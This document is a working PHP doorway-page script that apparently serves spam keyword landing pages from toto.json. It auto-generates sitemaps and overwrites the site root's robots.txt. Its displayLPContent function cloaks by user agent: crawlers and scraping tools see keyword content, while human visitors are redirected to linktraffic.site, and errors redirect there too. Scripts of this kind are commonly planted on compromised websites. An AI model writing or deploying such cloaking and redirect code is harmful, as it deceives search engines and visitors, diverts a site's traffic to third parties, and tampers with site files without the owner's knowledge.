<?php

$a = 'lp.php';
$b = 'toto.json';
$h = 'data';
$i = 'link.txt';

$canonicallink = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$canonicalreplace = '{canonical}';

$amplink = 'https://berita-terkini.id/amp/';
$ampreplace = '{amphtml}';

$endpoint = 'https://linktraffic.site/FtmfG';
$endpointreplace = '{endpoint}';

$param = isset($_GET[$h]) ? $_GET[$h] : '';
processRequest($param, $a, $b, $i, $canonicallink, $amplink, $endpoint);

$directoryPath = dirname(__FILE__);
$xmlFiles = glob($directoryPath . '/*.xml');
if (empty($xmlFiles)) {
    generateSitemap($h, $b, $canonicallink, $amplink);
}

function processRequest($param, $templateFile, $jsonFile, $imageFile, $canonicallink, $amplink, $endpoint) {
    if (!file_exists($jsonFile)) {
        handle404();
    }

    if (!file_exists($imageFile)) {
        handle404();
    }

    $imageContent = file_get_contents($imageFile);
    $imageList = array_filter(explode("\n", $imageContent)); // Hapus baris kosong
    $randomImage = '';

    if (isset($_GET['new_link'])) {
        unset($_SESSION['selected_image']);
    }

    if (!isset($_SESSION['selected_image']) && !empty($imageList)) {
        $randomImage = $imageList[array_rand($imageList)];
        $_SESSION['selected_image'] = $randomImage;
    } else {
        $randomImage = isset($_SESSION['selected_image']) ? $_SESSION['selected_image'] : '';
    }

    $jsonContent = file_get_contents($jsonFile);
    $brands = json_decode($jsonContent, true);  // Menggunakan format JSON langsung

    if (json_last_error() !== JSON_ERROR_NONE) {
        handle404();
    }

    $selectedBrand = null;
    foreach ($brands as $brand) {
        if (isset($brand['brand']) && $brand['brand'] === $param) {
            $selectedBrand = $brand;
            break;
        }
    }

    if (!$selectedBrand) {
        handle404();
    }

    if (!file_exists($templateFile)) {
        handle404();
    }

    $templateContent = file_get_contents($templateFile);
    $templateContent = str_replace('{title}', $selectedBrand['title'], $templateContent);
    $templateContent = str_replace('{deskripsi}', $selectedBrand['description'], $templateContent);
    $templateContent = str_replace('{canonical}', $canonicallink, $templateContent);
    $templateContent = str_replace('{amphtml}', $amplink, $templateContent);
    $templateContent = str_replace('{endpoint}', $endpoint, $templateContent);
    $templateContent = str_replace('{image}', $randomImage, $templateContent);

    displayLPContent($templateContent);
}

function generateSitemap($h, $b, $canonicallink, $amplink) {
    $jsonContent = file_get_contents($b);
    $brands = json_decode($jsonContent, true);

    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
    $baseUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['PHP_SELF']), '/') . '/';
    $maxUrlsPerSitemap = 10000; // Batas jumlah URL per sitemap
    $totalKeywords = count($brands); // Total keyword dalam JSON
    $totalSitemaps = ceil($totalKeywords / $maxUrlsPerSitemap); // Hitung jumlah sitemap yang diperlukan
    $generatedSitemaps = 0;

    for ($i = 1; $i <= $totalSitemaps; $i++) {
        $startIndex = ($i - 1) * $maxUrlsPerSitemap;
        $endIndex = min($startIndex + $maxUrlsPerSitemap - 1, $totalKeywords - 1);
        $sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>
        <?xml-stylesheet href="https://img.zeverix.com/index.xsl" type="text/xsl"?>
        <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">';
        $hasUrls = false;

        for ($j = $startIndex; $j <= $endIndex; $j++) {
            if (isset($brands[$j]['brand'])) {
                $brand = $brands[$j]['brand'];
                $url = $baseUrl . urlencode($brand);
                $lastmod = date('c');
                $changefreq = 'daily';
                $priority = '1.0';
                $sitemapContent .= "
                <url>
                <loc>{$url}</loc>
                <lastmod>{$lastmod}</lastmod>
                <changefreq>{$changefreq}</changefreq>
                <priority>{$priority}</priority>
                </url>";

                $hasUrls = true;
            }
        }

        $sitemapContent .= '
        </urlset>';

        if ($hasUrls) {
            $sitemapFilePath = dirname(__FILE__) . '/sitemap' . $i . '.xml';
            file_put_contents($sitemapFilePath, $sitemapContent);
            $generatedSitemaps++;
        }
    }

    if ($generatedSitemaps > 0) {
        generaterobotsfiles($generatedSitemaps);
    }
}

function generaterobotsfiles($totalSitemaps) {
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
    $documentRoot = $_SERVER['DOCUMENT_ROOT'];
    $robotsfile = $documentRoot . '/robots.txt';
    $robotsfilecontent = "User-agent: *\nAllow: /\n\n";
    for ($i = 1; $i <= $totalSitemaps; $i++) {
        $robotsfilecontent .= 'Sitemap: ' . $protocol . '://' . $_SERVER['HTTP_HOST'] . '/sitemap' . $i . '.xml' . "\n";
    }
    file_put_contents($robotsfile, $robotsfilecontent);
}

function handle404() {
    $targetUrl = "https://linktraffic.site/FtmfG";
    header("HTTP/1.1 302 Found");
    header("Location: $targetUrl");
    header("Connection: close");
    exit();
}

function displayLPContent($content) {
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $isBot = preg_match('/(Googlebot|Twitterbot|TelegramBot|Google-InspectionTool|facebookexternalhit)/i', $userAgent);
    $isSuspiciousAgent = preg_match('/(curl|wget|httpclient|python|scrapy|bot|crawler)/i', $userAgent);

    if ($isBot || $isSuspiciousAgent) {
        echo $content;
    } else {
        $targetUrl = "https://linktraffic.site/FtmfG";
        header("HTTP/1.1 302 Found");
        header("Location: $targetUrl");
        header("Connection: close");
        exit();
    }
}
?>